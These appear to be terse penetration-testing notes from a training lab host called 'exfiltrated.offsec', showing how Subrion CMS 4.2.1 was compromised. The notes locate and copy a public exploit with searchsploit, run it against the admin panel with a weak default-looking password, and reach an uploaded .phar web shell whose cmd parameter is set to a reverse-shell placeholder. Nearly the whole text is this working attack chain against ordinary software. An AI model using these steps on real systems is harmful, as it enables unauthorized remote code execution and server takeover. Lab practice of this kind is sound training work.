Subrion

http://domain/panel

searchsploit Subrion CMS 4.2.1

searchsploit -m php/webapps/49876.py

python3 49876.py -u http://exfiltrated.offsec/panel/ -l "admin@exfiltrated.offsec" -p "password"

http://exfiltrated.offsec/uploads/rwbpgkdsngwmomg.phar?cmd=REVSHELL